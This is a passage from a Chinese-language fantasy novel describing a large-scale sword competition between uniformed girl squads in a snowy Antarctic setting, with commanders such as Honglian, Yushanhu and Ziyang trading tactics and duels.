贝家社员群体的离开，预示着留给南极的时间不多了。 后勤官的才华 四星队员天烛和夜兰负责后勤调度以及业凰防卫的工作，指挥运输车开到业凰南侧。红莲任命四星队员铃兰和玉珊瑚为先锋副官，率领两个集群，也就是31250名队员，向服务局进发。 大雪飘飘，大地白绒，万里夜空之下，黑衣少女们滑行于辽阔雪原之上。每位追随班长的队员都意识到，终于要拿出真本事了，她们不再是流连美景与欢乐之间的少女，而是掌握自己命运的战士。 玉珊瑚有家族训练的游猎技能，此刻就能胜任侦察教官，她带3125名二星队员，也就是一个集团，在距服务局五公里的位置散开，爬在雪坡后观察。 服务局本体是正方要塞，外侧是三道四方形的防御工事，现在工事外的四角位置各部署了一个集团，集团之间有1500多名队员列队，证明工事内部有12000多名队员，四个集团在内，应该是曼达会长的直属部队，这样她就能随时支援四面防线。整体看这阵型中规中矩，就像刚从军事学院毕业的社员指挥的一样，但越是普通的战法，越稳妥难破，尤其是在敌我水平差距不大的情况下，业凰队伍如果轻敌，耍花活就会被曼达反击以致溃败。 “玉珊瑚大人。” “嘘！小声点，我们这会儿位于上风口。” 粉发少女说完，按按黑帽，她的队服基本沿用了业凰校服的款式，黑色披肩下穿白衬衫，高束腰百褶裙子和长筒靴，上衣只有衬衫是因体外0元素不够用了，而且她武技精湛，所以不注重手臂和上身的防御了。 “玉珊瑚大人~我看她们怎么还披棉大衣呀，看的我也感觉冷了。” “心理作用呗，过往生活中的寒冷印象留在潜意识里，让我们感到淡淡寒意，慢慢习惯就好了。” “那她们怎么不出阵攻击我们呀？” “你傻啊！” 玉珊瑚轻弹她的脑门，继续说：“阵外有我们三万多人，出来不是被包围嘛？赶紧把情报送给红姐姐。” 传令队员用信息板接收情报，拍拍大腿上的积雪，将钢剑别在腰后，起身向北滑行，迎面冲来人潮人海，六百人的联队结成战斗队形，四十多支联队向东西南三个方向滑冲，一时间，她身前身后全是队友，大雪在黑夜中翻腾，丝毫不影响少女们的战意，情形激动人心。 业凰与服务局之间的雪原有二千辆运输车围成的指挥部，红莲与诸位参谋官等待玉珊瑚的回报，她们接到传令队员的情报就打开信息板的电子地图。 “车辆就留在这里，这次群体战指挥比赛还要防范雪牢关方向的真敌，通知天烛，一旦发现敌人入关就撤退到后花园外，不要被困在业凰。” “曼达采用四方阵型防守吗？” 红莲回答参谋官的问题。 “不，这应该是望江南的手笔，四角的人数更多，队形稳中有细，曼达本队的12000人成为一只铁拳，随时反击四个方向的敌人，我猜对方还有一支奇兵。我们在服务局这两个面集中八个集团，拉扯对手的防御力量。” 部署完毕，红莲只身汇入出发的人群，全员分散，雪白大地上到处是滑行的黑衣少女。 服务局阵地内的四组高塔可以俯瞰周围二十公里范围，业凰集群的所有动向都被看的一清二楚，曼达拿望远镜看过后说：“正北面没多少人啊，都在东西两面。” 望江南观察了东西两面敌阵和北面敌队的距离。 “敌人是想在两个对向的防御面施压，拉断我们的支援线，再用北面部队突破。” “可你看，北面部队先进攻了。” “什么！” 望江南惊讶的用望远镜观察北防线，业凰队员猛冲过来。 她们的队服与标准款的夹克和短裤不同，是头戴黑帽，身穿白衬衫和黑马甲，脚穿过膝靴，在很短的时间就冲到服务局队员组成正面防线前，曼达在这里只有1500人，业凰却是一个集团3125人，武技水平差距极大，顷刻就被打散一支联队，几乎要将北防线捅穿。 一时间，刀光剑影，火星四溅，无数黑衣少女的身影交错在战场之中，喊声震天，服务局的普通队员不适应业凰队员结成人墙的冲法，还是沿用五人班组队形，五人挥剑，面对的是刀山剑雨，钢剑纷纷断裂，败下阵来。 这时曼达集群的各位队长才醒悟过来，队形是可以组合和分散的，她们想组成人墙抵挡业凰队员的攻势，却被业凰联队分批压制，眼看业凰集团就要冲进服务局工事中了，情急之下，东北角和西北角的队员开始向北防线增援，这是望江南提前规划好的防守策略，但防线大有立刻瓦解之势，服务局的多位队长奋不顾身，挡住业凰集团在正北方的冲击。 更令她们绝望的是人潮中飞出一人，落地过程中的一剑就齐刷刷斩断三十多人的钢剑，人们看着自己的断剑，才知道发生了什么事，各自退场，于是曼达集群的队长们还要抽调人手去解决这位超级战士，却看她东跳西跃，宛如天生适合在战场中舞蹈的精灵，很多队员还在跟业凰队员对剑，不知不觉就被她破坏了武器。 “是玉珊瑚，她身手太好了，一招就打败一大串，她的队员也不是普通人，像是精挑细选的精锐。” “什么时候了？你还冷静观察！北线再过几分钟就要被她捅破了！” 曼达火急火燎的跺脚，刚要下塔楼就被望江南双手揪住。 “关键是红莲将军还没出现！您现在冲出去，万一被包围了该怎么办！即便玉珊瑚突破北线，工事内还有我们一万多人啊！” 望江南这番话打消了曼达出阵的念头，她继续说：“没事，我早有防范。” 只见她在塔楼上做出手势，东北角和西北角的两个集团从支援北线变成了向玉珊瑚集团的北方迂回，与此同时，北线在损失过半和失去全部队长后被玉珊瑚彻底打穿。 可她的脚刚往工事前方落地，就转身向北猛冲，因为北线几乎是溃散，她的队员也得迅速完成脱战，一同转身撤退，她们迎头撞上了还未封住包围圈的曼达集群队员，这种突然遭遇战让久违战阵的队员满脸疑惑，一瞬间就被玉珊瑚集团冲的七零八落，等她们勉强组织到一起，玉珊瑚带队已经逃回出发的雪波，望江南赶紧打手势下令停止追击，队员逐渐退回原来的位置。 对手一次冲击，以损失个位数队员为代价，击穿整个北线并打败九百多人，让望江南深刻明白了，前锋副官和自己这种后勤副官的差距，纸上谈兵没法考虑个体差异和瞬间应变。 “她冲破防线就突然撤退，必然是得到红莲将军的预先安排，这支业凰集团的队员移动能力如此出众，必定跟她们与众不同的队服有关，我推测是依靠武技弥补上身防御，将体外0元素移到腿部，大大加强了足底0元素能量场。通知全员，注意特殊队服。” 望江南说着，就听参谋官上报东西两线阵地遭受近万名敌人进攻，四角的集团不得不摊成防线阻挡，情势危急，她马上拿望远镜观察。 “向东西各支援一个集团，没事的，我看她们是佯攻，冲击力完全没北线猛。” 东面防线绵延一公里，两万名少女在此决战，她们前排接敌，钢剑断裂的人就退场，由后排补上，火星在少女们喊声中随风飞舞，每个人都知道这还只是试炼，真正的敌人侍灵要更难对付，所以她们拼尽全力战斗，尽力提高自己身心的素质，每人眼中只有改变命运的战意，刀剑相交中只有招招决胜的武技，真我剑术的一命剑已经在曼达集群的七成队员中普及，双方使用绝招的结果就是一起断剑撤离。 西面战场却有变化，一股贴地的横向旋风将所到之处的服务局队员卷的乱七八糟，突然变故立即引起了众队长的警觉，她们抽调小队去阻击这股敌人，这个调派虽然迟滞了铃兰集团的冲刺，但铃兰只身飞腾于阵地之中，还是突破了西线，正当她带队扩大突破口时，迎头撞上了望江南增援的一个集团队员，她赶忙向西回撤，支离破碎的防线使队长们不敢过分追击，利用这个机会重整防线，西面似乎也回到均势。 问题却出在最开始的北线，玉珊瑚的冲击消耗了东北角和西北角的队员数和士气，这两个角是东西两线的侧翼，渐有被业凰集群蚕食和包抄之势，业凰这种小队层级的协同微操是非常特别的，是每个队员都心知整体，临场应变后的结果，不得不说，业凰社员的高智商在此刻凸显了。 而玉珊瑚也不傻，她听到东西两个方向喊声阵阵，再次带队，从雪坡后出来，要再来一次冲击，这招一下命中了曼达整个集群的要害，北线不足千人，不可能撑住了，被她打穿，东西两线的侧翼都会崩溃，望江南见此情况，紧张的说不出话来。 “靠我吧，没事，你尽力了。” 曼达握了一下望江南的肩膀，孤身翻过瞭望塔的围栏，这位一身黑亮皮衣的高大女子，威猛异常，孤身从高空跳下，在墙面跑了几步后直落地面，她带剩余的两个后备集团，向北冲锋，沿途带上北线的剩余部队，组成一股主力，迎击玉珊瑚。 双方刚一接触，玉珊瑚就明白这次的敌人远比刚才的北线强大，己方人墙蓄力后的成片冲击被对方硬抗了下来，刚打成均势，人数劣势导致她的队伍渐入包围，她不得以用手势将集团散开，以增大防御面，这个行动反而导致了玉珊瑚集团被曼达两个集团穿的四分五裂，形成了混战局面，这太不利了，玉珊瑚组织出一个联队，带队冲击，意图以武技优势，对敌方联队各个击破，盘活整个战场。 她的行动早在曼达意料之中，因为她俩是一个类型的前锋将领，血压上头就爱死磕，于是曼达也带一个联队从玉珊瑚联队后方偷袭，前后遇敌，她的队伍溃散出一条五米宽的走廊，玉珊瑚顿感身后无人，扭头查看就是一惊！ 是老对手光临，曼达全力施展的一命剑突刺，玉珊瑚在50米外就看到了，可她来不及逃走，更不能用剑阻挡，断剑等于自己退场，这支队伍就完了！ 于是她的双脚使劲一滑，让自己从曼达身下躲开，从站立瞬间变成贴地滑行的动作只有风之血统的人能做到，躲开了原本绝对命中的一命剑，因为曼达不够熟悉风族人的身体特点，没预判出这个动作。不过她的上身还是被曼达的膝盖撞了一下，0元素护体，大大降低了痛感，她利用曼达冲过头的瞬间，推地起身的同时前空翻，借势一跳，居然腾飞在八米的高空。 更惊人的还在后头，只见玉珊瑚的两指伸入口中。 啊！你太离谱了吧，这声口哨响亮到五公里外的人都能听到。 曼达在心中赞叹玉珊瑚的能力，眼看她在空中转体调整落地位置，脚刚到地面就用重力增压，一瞬间跳脱出小包围圈，而她的集团队员也不管不顾的往北全力奔逃。 这个举动让她的队伍有不少人败退，可确实还有不到两千人成功脱战，曼达绝不能放过这么强还这么多的敌人逃走，她率全员紧追。 服务局本阵中的望江南发现曼达往北冲导致东西两侧的敌阵再次往北侵蚀，她指挥东西两线抽调人手去填补破绽，渐渐的，她发觉了异常，两线敌人开始大幅北移，而她也得组织队伍北移，否则曼达的后方就出现敌人了。 西线战场的曼达集群队员们本来就是勉强支撑，被多次抽调后，再也顶不住铃兰亲卫队的反复冲锋了，防线被铃兰一分为二，败局已定。 低落的士气导致不少人往工事内撤退，使铃兰得以单靠一个联队包围了大量敌人，就在此时，远方雪原突然杀出一支联队，冲破了铃兰的外层战线，直扑铃兰本队，二人钢剑相交的一瞬认出了对手。 “就凭你也配叫天下第一？” “手下败将就别大放厥词！” 奋战的队友们远看铃兰的双马尾金发像一对龙虾触须那样高扬，她的四星队服是黑色长袖大衣，威风凛凛，背后赫然印着四个白色大字：天下第一。 铃兰对面，是竹桃站在插入雪中的断剑上，脚上穿着分指式的黑钢过膝靴，每个脚趾都带钢甲，说明她腿上功夫极好，身穿黑色的无袖紧身短裙，印着四颗黑星的高领口几乎贴着下巴尖，圆脸娇美可爱却一脸凶相，黑色短发修剪成分外别致的樱桃形，双小臂套了振袖式的黑色宽大护袖，手套也带钢指，各握一把特殊钢刀，长40CM，菜刀那样宽，刀刃却是圆弧，弧线和刀柄护手连成一体，铃兰推测她可以利用护手使双刀做出难以想象的多变旋转，对手这次有了惯用武器。 竹桃哼了一声，踩断剑向前跃冲，双刀交替攻击铃兰，铃兰躲开一剑，挡下一剑，几乎毫无间隔，竹桃就单腿使出三连踢，铃兰刚用剑挡，就马上后退，她看出竹桃的脚指和手指护甲都以0元素构成，能很轻易的打断钢剑，心想这家伙一定没细心阅读比赛规则是只允许钢剑对拼，但她转念一想，竹桃的武技就是四肢并用，就这样打吧。 于是她在战场里全力逃窜，滑过交战的队员身边，冲到对剑的队员身后，而竹桃一心只找铃兰算账，二人把战场搅成了一锅粥。竹桃算准她被人群阻隔的时候就旋身冲过去，施展四肢连携武技，宽大的护袖还有街舞般的武术动作，特别好看，引的众人不禁暗自叫好。 她把铃兰逼到站姿不稳的一刻，双臂后摆，转动双刀，向前一交，施展出一命剑，她想这下稳了。 而铃兰等的就是这时候，她还没从弯腰调整过来，站直的空间已经被竹桃的双刀封住，就扭手腕向身前推剑，再变成正手持握，施展了一命剑，直刺的钢剑，力量都在一点，远比竹桃的双刀下劈更坚韧，瞬间就击碎了竹桃的一把钢刀，而竹桃巧妙的转动另一把钢刀，躲开的这关键的一击，再顺势将钢刀甩飞出去，二人后跳拉开两米距离。 竹桃莫名其妙的扔飞武器，这举动让铃兰一时差异，却见她旋步施展两个回旋踢，来到铃兰脸前，没等铃兰反应就挥出大摆拳。 铃兰完全可以后退避开这招，可她感知到身后飞来的什么东西，就在这种前后夹击的极限难度下，背手向后施展绝命剑，打飞了那东西，正面却挨了竹桃一拳，两人的身高体重差距较大，这一拳就把铃兰打的栽倒在地，而竹桃赶紧骑在铃兰身上，想双手掐住她的脖子，被铃兰抓住一只手，于是单手掐着。 这种僵持，对铃兰很不利，虽然有0元素护体，掐不疼，但是铃兰的剑被自己压在身下，竹桃的钢刀大概插在不处的雪里，她万万没想到竹桃能施展回旋飞刀。 周围的队友看不下去了，现在毕竟是群体战，三个队员一起刺向竹桃，她测滚躲开，急忙起身去拿钢刀，铃兰紧追，二人在战场内继续混战。 她俩战斗的时间里，业凰的东西两线已经完成了在北线连接，使曼达后方被包围了，得益于望江南的出色指挥，曼达集群也在北线形成战线，双方缠斗，使得业凰三面战线不能向曼达的主力进行包围。 一种不祥的预感萦绕在望江南的心头，服务局的南线仅有一千人，还都是不善战的后勤队员，本阵中更是只有十几个参谋官，噔噔噔！急促的上楼脚步声似乎回应了她的猜测，一位传令队员刚说了半个字。 砰！ “哎？” 一声金属断裂的声音引的望江南看向传令队员手持的断剑，她感到自己的肩膀被谁轻拍了一下，余光中划过几缕黑色发丝，熟悉的体香飘过，望江南再看自己的剑已经断了，她趴在围栏，向北张望，原来是红莲带精锐集团，瞬间冲破南防线和服务局本阵，直奔曼达集群的北防线后方，也是不费吹灰之力就捅穿战线，红莲集团散开打散了三面战线的交缠，使得业凰集群开始全力包围曼达。 曼达身边的两个集团在迎战接近三倍敌人后，战到只剩曼达一人了。 “红莲。” “你们很强，我是凭属下的剑术 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前文写过第二工业局的地形，自南部山脉向正北延伸出数面高低错落的陡峭山墙，与家山形成一个宽大的关口，口子是够宽，有近千公里平原，但是如果敌人围攻家山下方的第一工业局，后方就会遭到第二工业局的包围，二者内部形成山谷地形，十分凶险。 先打第二运输局呢，正面这山峰就很难攀爬，绕到山墙后方，是无数冰洞和滑行坡道组成的复杂网络，鬼知道黑巴将学院本体移动要塞开到雪山中的什么位置了，所以从山墙前后攀登，全员上山，占领雪山是唯一的可行方案。 “啊！” 一个爬山的队员叫了一声跌落下来，众人将她扶起。 “上面有人开枪！” “你没事吧？” 她摸了摸身体，从衬衫破洞里摸出一枚扁的狙击枪子弹，护体的0元素能量壁可以免疫低能物理攻击。 “子弹无效啊，瞧你吓的掉下来了。” “无效也害怕啊！” 她们正说着，又有多名队员受到枪击的惊吓，掉到山下，红莲见此形势，就亲自登山，几步就赶到最前，这行动激励了其他队员，大家闷头之管爬山，但仍有队员挨枪就害怕掉了下去。 藤萝带后勤集团在山顶等候多时了，这些队员经常在山顶哨塔里练习枪法，尽管枪击很难击败敌方队员，但能大大迟滞她们登山的速度。 枪法出众的藤萝甚至击碎了几个业凰队员腰上的钢剑。 “藤萝大人，你好厉害。” “噢？你也试试。” 队员打了一枪，没命中钢剑。 “哎，我不行。” 她们趴在山顶的积雪中，一边说笑，一边阻击敌人，藤萝甚至找了一块白头纱，遮盖她显眼的亮绿色长发。 山峰侧后，玉珊瑚率领一个集群，一万五千多人，也开始攀登，她们的登山过程没遭到枪击，较为顺利。 兵法说，敌半渡，可击之，一阵刺耳滑冰声打破平静，山峰后方的冰洞涌现出大批敌人，就连滑雪道也出现大量队员，她们迅速合流，很快杀到玉珊瑚集群的阵地，这时她自己带了一半人还在半山腰，危急关头，她下令全员跳山，而这行动也在敌人预料之中，她们凭借人数优势，堵的玉珊瑚无处下脚，于是她在空中调整身体，上身朝下，迎着刺来的剑山，使出一剑横扫，顷刻就砍断近百支钢剑，却偏偏遇上了最硬的一把剑。 原来是黑巴将军施展一命剑，等在玉珊瑚的剑横扫的沿途中，于是那位粉发少女遗憾的退场了，一个集群失去主将，顿时乱做一团，再加上阵型原本就很散乱，被黑巴带队冲破，传令的后勤官看出她几乎将三万人全带出来了，就赶紧向红莲本队传递情报，众位队长重整队伍，阻截黑巴集群的两个侧翼并追击。 差百米就登顶的红莲收到意识通信传递来的情报，得知黑巴倾巢出动，那也不该这么快啊？她在跳崖的过程中思考，黑巴全员是怎么做到这超越业凰精锐队员移速的冲锋呢？ 地形！ 她懂了，第二工业局位于雪山之中，社员常年滑雪移动，她们比我们还精通滑行，每个人都能瞬间掌握加大足底0能量场产生的极速滑行能力。 红莲对半山腰处的铃兰下令，让她带一个联队继续攻山，红莲自己落地后，带一个集群迎战黑巴两个集群。 从战场局势来说，黑巴全员被红莲的两个集群一前一后围住，换谁都必输无疑，可是黑巴的队员们像被胶水粘在一起似得，紧密协同成为一个整体，左突右撞，搅的红莲集群没法围攻，这种级别的团队组织能力太罕见了，红莲推测应该是黑巴经常带全员一同滑雪巡逻，练就的超强突破能力。 这才是真正的前锋将军吗？ 不服输的劲头涌上红莲的心头，她观察出黑巴本人是整个团队的核心，队员们全留意的她冲的方向，于是红莲带精锐集团运动到黑巴的路径前方，两队冲撞在一起。 对方是有三万人协同的队形，红莲集团才三千人，周围的队友不够配合，很快就被黑巴冲开，情急之下，红莲单人突进，施展绝命剑，在黑巴亲卫队的后方隔绝出一个球形空隙，红莲集团的其他队员一起加大空隙，在红莲武技这电光火石般的绝对屏障阻隔下，黑巴集群终于散乱，可惜红莲的绝界只能坚持五秒，她让队友继续挡着，独自转身，施展一命剑，直刺黑巴，冲锋途中撞翻无数队员，黑巴躲无可躲，也施展一命剑，双方直刺对直刺，钢剑在瞬间顶弯。 砰！ 她们一起断剑。 黑巴轻捋黑色短发，挠挠耳朵。 “走吧？坐旁边看她们打完。” 红莲和她坐到山脚的冰块上，观望战场，她打量黑巴的穿着，头戴小号黑帽，黑色的长袖队服和短裤连为一体，肩上有个短款斗篷，腿上也是过膝靴。 “你怎么冲的这么快啊？” “没想到吧？” “我不是没想过对手有可能冲过来截击，可你们也太快了吧！而且！按常理来说，你们应该发挥地形优势，躲在雪道和冰洞里等我们。” “毕竟是比赛嘛。” 黑巴摸摸鼻头，继续说：“我的学院地利太好了，知道你们打不赢，所以我就冲出来了，堂堂正正对决！哎~你那招武技太精彩了，不然的话，你必输无疑。” “是啊，现在胜负未知呢。” “不是。” 黑巴说着，望向战场，脸上渐渐露出失望的神情。 红莲也发现黑巴的队员们在失去主将后没能重整冲锋队形，而是以小队为单位各自为战，业凰小队间的协调性和随机应变能力更好，很快形成多个包围圈，再现以多打少的局面。 “而且，我的队员剑术不咋好，她们冲锋够莽，一停下来就，呵呵。” 红莲听黑巴的解说，觉得她回避了最初的问题，就得靠自己细心观察，黑巴队员的队服很特别，无袖的黑色连身短裤，都穿长靴，脖子上都围了黑色围巾，只不过有长有短。 难道说秘密就在那条0元素形成的围巾上？ 她们难道习得释放围巾的能量场，以增加滑行的推力？ 红莲判断，这就是答案。 山顶的藤萝集团都是后勤队员，被登顶的铃兰联队一追就散乱投降，人们最终也没看到第二工业局的移动要塞，战斗就结束了。 正面战场的黑巴集群全员败退，红莲获胜。 业凰集群的三万人移动到距离家山一百公里的东南方雪原，围在三辆运输车周围，更换装备并休整。 业凰集群的少女们看着黑巴集群逐渐消失在南方冰洞中，再仰望夜色如同一张巨大的黑色绒布，悄无声息地铺展在天际，将风雪的最后一缕微光吞噬殆尽。 远方，寒冷与孤寂的家山好像一个巨大无比的白色汉堡，默默等待夜空魔王的巨口，将这份冷酷与凶险演绎得淋漓尽致。 寒风穿透众人皮肤上的0元素能量壁，直抵心灵。 雪山之巅，一座莹白巨大高塔熠熠生辉，照亮塔下的银色人影们，是侍灵部队在夜色的掩护下巡逻，显得更加恐怖而神秘。山下巨大的冰洞隧道壁在微弱的灯光中泛着幽蓝的光芒。 隧道外，偶尔传来细微的工程机械轰鸣声，那是敌人在寒风中缓缓移动的证明，也是对手无声却强大的力量展示。那些空地里的看似静止不动的矿石堆，实则危机四伏，随时可能爆发出惊人的敌方部队，将一切胆敢贸然闯入的人卷入迷宫。面对这样的战场，每个人都需谨慎至极，因为表面平静正是紫洋的拿手好戏，内部远比表面看起来更加凶险与不可预测。 25. 章25南极：势均力敌 两个业凰集群共31250人，迎着夜色暴风，向白雪皑皑的家山东南山角移动，雪原被千里人海滑行激扬起滚滚雪浪，各集团级参谋官汇合在红莲周围，铃兰和玉珊瑚听候调遣。 “你们两个拖住野芹。” 铃兰听红莲说这话，就自告奋勇。 “我去和她单挑！” “唉！此一时，彼一时！她天资远高于普通人，又得0元素增强，你俩务必小心！” 红莲见这俩副官都太莽撞，缺乏历练，就继续叮嘱参谋官们。 “队员们都已疲惫，各参谋官隐蔽指挥各小队用车轮战术，我们人多，不怕退场，重要的是保持缠斗，包围队形不能乱。” 业凰科学院只训练出两个集团的二星精锐队员，眼下全员精神萎靡，0元素能量可以补充体力，却不能补充精神力，今天队员们第一次上阵实战，全凭聚精会神才保持剑术和战术不乱，所以精神消耗很大，只能用意志力弥补，但这样人们的反应就迟钝了，所以现在实际上只有一个半精锐集团能用，红莲想到这些，清楚了胜机就靠这一支精锐了。 “我带精锐集团去找紫洋决战，铃兰你带这半个精锐集团协助玉珊瑚，若有余力，再来支援我。” 行进中的业凰集群临时指挥部解散了，而远在家山西南山脚石柱大厅内的紫洋却安坐在黄金沙发上，她轻捋金发鬓角，清纯妙美的脸上展露得意的微笑，黑色的长袖制服和短款百褶裙尽显英气，长筒靴随大腿交叠着，还惬意的晃着。 紫洋突然想起了身后的军师，这位女子无官无职，只因她随口一句，你出出主意就够了。 天荷素来知道紫洋的性情容不下反对的声音，所以她就成了不说话的军师，这会儿被紫洋扭头侧脸看着，不得不说些看法。 “不该主动出击的，我们应该以逸待劳，利用地形优势，分割对手。” “以逸待劳？哼！” 紫洋想手下参谋官们在战术推演都输给这家伙，看来也不过如此啊。 “侦察班回报说红莲集群在山谷外休整，人家不劳，你待什么劳！” “可是黑巴集群就是因主动出击而战败，而且她们还是全员出动！我们只派一个集群，人数又少，野芹副官有勇无谋，必被红莲的部下缠住。” 天荷这番发言使紫洋脸上的笑容消失，也开始担心了。 天荷继续说明：“真我剑术是业凰科学院的得意技，势必有大量剑术高手，我推测红莲肯定有一支精锐部队，万一从隧道上方的山坡绕过来。” 紫洋听的瞪大了眼睛，转身凝视天荷，听她继续说。 “红莲是进过这大厅的，她知道这里装不下千人，绕过来，将大厅团团围住，你我二人的武技都不是她的对手，参谋官又都在这里，我们全灭，只剩野芹和杂兵，必败无疑！” “那！现在怎么办？” “你我各领一半人从家山南坡分东西两路上山，夹击红莲，不求速战，拖住并消耗她，她带的人少，久战必败。我们再合并一处，下山围歼业凰残部。” “好！那就这么！” 紫洋伸手下令到一半，眼珠咕噜咕噜转，心想东西两路？西路在自家地盘，东路紧邻业凰集群，自己去太危险，派荷去又怕她反水，派别人又怕不能胜任。 “荷副官，你带一个中队从西路上山，看看有没有人，也许是虚惊一场。” “125人去不是送死吗？” “哎呀，这是比赛，哪会死，执行命令！” 天荷用鼻息叹了口窝囊气，大步离开大厅，在门外石柱边接过中队长递来的望远镜，观察家山南坡的东路，暴雪遮蔽了视线，看不出异常，再看山下战场，激战正酣。 夜幕低垂，寒风如刀，割过每一寸裸露的肌肤，带来刺骨的寒意。大地之上，双方混战，第一工业局的社员是从首都卫戍军团调拨精锐军士，她们虽然不习惯组队战斗，但身体和心理素质更好，每有队员败退就能迅速补位，被业凰队员打散能重新编队，尽管她们四面冲突，业凰集群三万人还是在移动中保持住包围圈。 业凰队员擅长多小队穿插配合，双方都身穿黑色短袖夹克和短裤，上下衣之间用四条束带相连，各用袖章区分所属，业凰是黑底红字的极字，第一工业局黑底白字的紫字。 队员们双眼都是坚毅的神态，与乱舞的钢剑一同在雪光的映照下闪烁着冷冽的光芒，火花飞溅处，钢铁激发出声声清脆之音，打破暴风洪流的背景音，上黑下白的茫茫天地之间，万里平原上全是人影攒动。 风雪骤然加剧，雪花不再是轻柔的舞者，而是化作了锋利的雪刀，滚滚龙卷风似乎承载着上苍的怒意，无情地切割着空气，也注视着战场是前所未有的激烈。风雪的呼啸和钢剑的嘶鸣，打破这死寂般的沉默。 随着一声震耳欲聋的呐喊，仿佛是魔神震怒，打破了这漫长的僵局。 黑色方巾和高束腰裙摆如花瓣一般，在夜空中飞舞，黑纱包裹的腿形结实有力，一双黑钢短靴直踢过来，撞飞了三百多名业凰队员，黑钢手甲趁势抓住某位队员脱手的钢剑，白色短发的发梢在她落地后依然外翘，头上的纯黑发箍隐隐可见四颗黑星，白发间可见一张美艳面孔，表情却是狂人的笑脸，野芹将抢来的钢剑和剑用手一撸，挤为一体，接缝处竟然冒着火红的热气，而她还用双手将这合体钢剑拧成了麻花状，以增大强度，完成后，她甩剑指地，方巾在黑色水手服上飘动，单手轻触自己的嘴唇，站姿像个青涩少女，好像是她才想起来该表现一点少女的温情，她看围观的数千名业凰队员都惊恐后退，就仰面朝天，猖狂大笑。 没错啊，红莲姐说的太对了，这不是那天的野芹，她已经变成了真正的魔王。 铃兰暗自设想，野芹原本就有科技赋予的超人体魄和疯癫的无尽战意，0元素极大增强了她的身体，现在的野芹真正做到了身心绝对统一，是真我剑术追求的完美状态，算就她没用双股钢剑，自己也肯定打不过她。 玉珊瑚的想法跟铃兰一致，于是在人墙后盯着铃兰，四目相对，两人用眼神确认了协作战斗，同时先攻，由于她俩想的是佯攻，冲锋速度就慢，竟被野芹猛然使出的回旋踢，产生的强风吹飞，玉珊瑚先被吹倒地，立刻就迎来了野芹的跳踩，她曲腿蹬地，单臂挡住踩击，双腿再一用力，滑退躲开了野芹的攻击，而野芹挥剑下扫，玉珊瑚紧握剑却不敢硬挡。 铃兰身轻，吹飞在高处，眼见玉珊瑚孤身奋战，就在空中调整身姿，足底产生能量场，直冲向野芹背后，野芹的剑刚一触碰玉珊瑚的剑就马上去挡身后的直刺，而玉珊瑚的剑险些脱手。可以说，没有铃兰的这下支援，玉珊瑚在第一回合就退场了，她顺势继续向人群中滑行，铃兰收力，后空翻退后，也进人群，业凰队员在参谋官的指挥下纷纷猛冲野芹，使她不得不分神去击败普通队员，而她稍有空隙就继续追击玉珊瑚和铃兰。 这两位副官就这样一刻都不敢懈怠，应付野芹的穷追猛打，幸有各路指挥官不断抽调五人班组去围攻野芹，在这样的混乱追逐战中，业凰的包围圈薄到时破时围，双方的四万多名队员完全交错在一起，谁也无法组织出有效的战术了。 秘密行动的红莲集团3125人已经到达家山南坡的山腰处，沿冰洞隧道上向西前进，为了避免被紫洋的侦查班发现，众人半蹲着缓缓滑动，红莲在心中祈祷铃兰和玉珊瑚能撑的久一点，前方队员打出手势，红莲用手势回应保持前进，她单人加速滑行，到达最前，看到山坡上站着五个敌方队员，红莲就两指向前一伸，先锋队员突然急冲，那五人刚瞄见人，就被先锋队员打败了。 谁也没料到，积雪中突然窜出50个敌人，先锋小队瞬间全灭，红莲集团不得不从隐秘激动变为全力冲锋，山坡位置不利于追击，那50人猛逃，正当红莲率一个联队追上她们时，脚下又窜出50人！ 这回，山下的紫洋侦察班肯定看到红莲众人了，是谁识破我的谋略呢？ 红莲又急又气，凶猛奋战，而这百名敌人全力围攻红莲，将她逼到一处小山崖边，红莲集团一起猛截，将敌人全灭，让她松了一口气。 就在她心头放松的时候，握剑的手却也松了一下，一根超长钢棍顶住她的剑柄，将她的剑顶飞到空中，红莲感觉这刹那的凶险，很像习得极命剑的时候，她的确发动了极界，在几毫秒的时间里，按压身下突然窜出的某人，跃上空中，反身横斩多下，将那人的长枪断成碎片，红莲火冒三丈，将这人压在身下，揪住她的领子一看，原来是紫洋的副官荷。 “没想到你还有绝招，可惜了，就差一点点。” 天荷是提前钻好深坑，藏了长枪，自己钻入深雪，降低体温并调整气息，让队员把红莲逼到自己躺的位置，她感觉红莲快来了就闭气了两分钟，施展一命剑，提枪上刺的过程中调整位置，命中了红莲的剑柄，只要自己的身体跃起就能一击打断红莲的剑。 她只用一个小队就打出此等绝杀战术，实在是太精彩了，红莲想到这个，就松手，将天荷拉起来。 “对啊，换别人就已经输了，各位队员继续向西山脚滑行，荷，这次你的谋略高我一筹，还迟滞了我的行动，紫洋会全力冲向正面战场吧。” “不知道。” 天荷擦掉细辫子上的积雪，她跟随红莲集团，黑纱薄裤下的短靴滑行于雪面，大风吹掉她长袍和单肩斗篷上的雪块，。 “你们还需要审问俘虏吗？” 红莲笑着说：“没有，闲聊而已，你不想聊就可以离开了。” “我不叫荷，我的名字是天荷，天家主亲自起的。” “天家主？” 红莲说着，愣了一下，却没有疑虑，因为她真是内奸，根本不会自曝姓名。 “嗯。我出生在有故障的孕育罐里，那罐子从里面打不开，正巧罐子被什么人移动到机械人偶军团的驻地，我在罐里逆向联通军团的无线网，再联通北极AI系统，下载7分知识库，被天家主发现了，她以知识库交换我的黑客技术，那时起的名字。” 红莲听完天荷的话，根据自己的科学常识，分析出，人从罐内破解信息传输通道非常难，希望渺茫，但不是不可能，相信天荷，等于相信她超级天才的头脑，红莲感觉她如此坦诚，再看她的单肩斗篷非常精妙，是结合长枪术的盾牌，似乎是她预想过和侍灵战斗时的情况，从而得出的设计。 就在红莲发懵的时候，天荷指了一下山下采矿基地。 “你看，紫洋冲上来了，那女人就是这样，时而狡猾，时而鲁莽，我猜她是觉得野芹打这么久，没赢也没撤，说明凶多吉少，唉，她谁都不信。” 一万五千多名队员簇拥着紫洋，一同登上家山南坡的西路雪坡，家山形似汉堡，再加积雪厚冰覆盖，所以十分难爬，人潮拥堵推挤才到山腰，与红莲集团正面一接触就堆积着后退，不少人滑落下去，紫洋大呼小叫，催促众人奋勇冲山，按她的设想，红莲人少，自己有五倍人数，肯定能一举冲散红莲集团，却不成想被对方反推的渐渐下山。 不过，紫洋的判断并没有错，她的威逼开始起效，人数优势形成的攻山面逐渐包围红莲集团，红莲只能下令散开缓退，迟滞紫洋集群的攻势，这个时间点，紫洋集群和野芹集群两处占优，胜利的天平仍然倾向于紫洋。 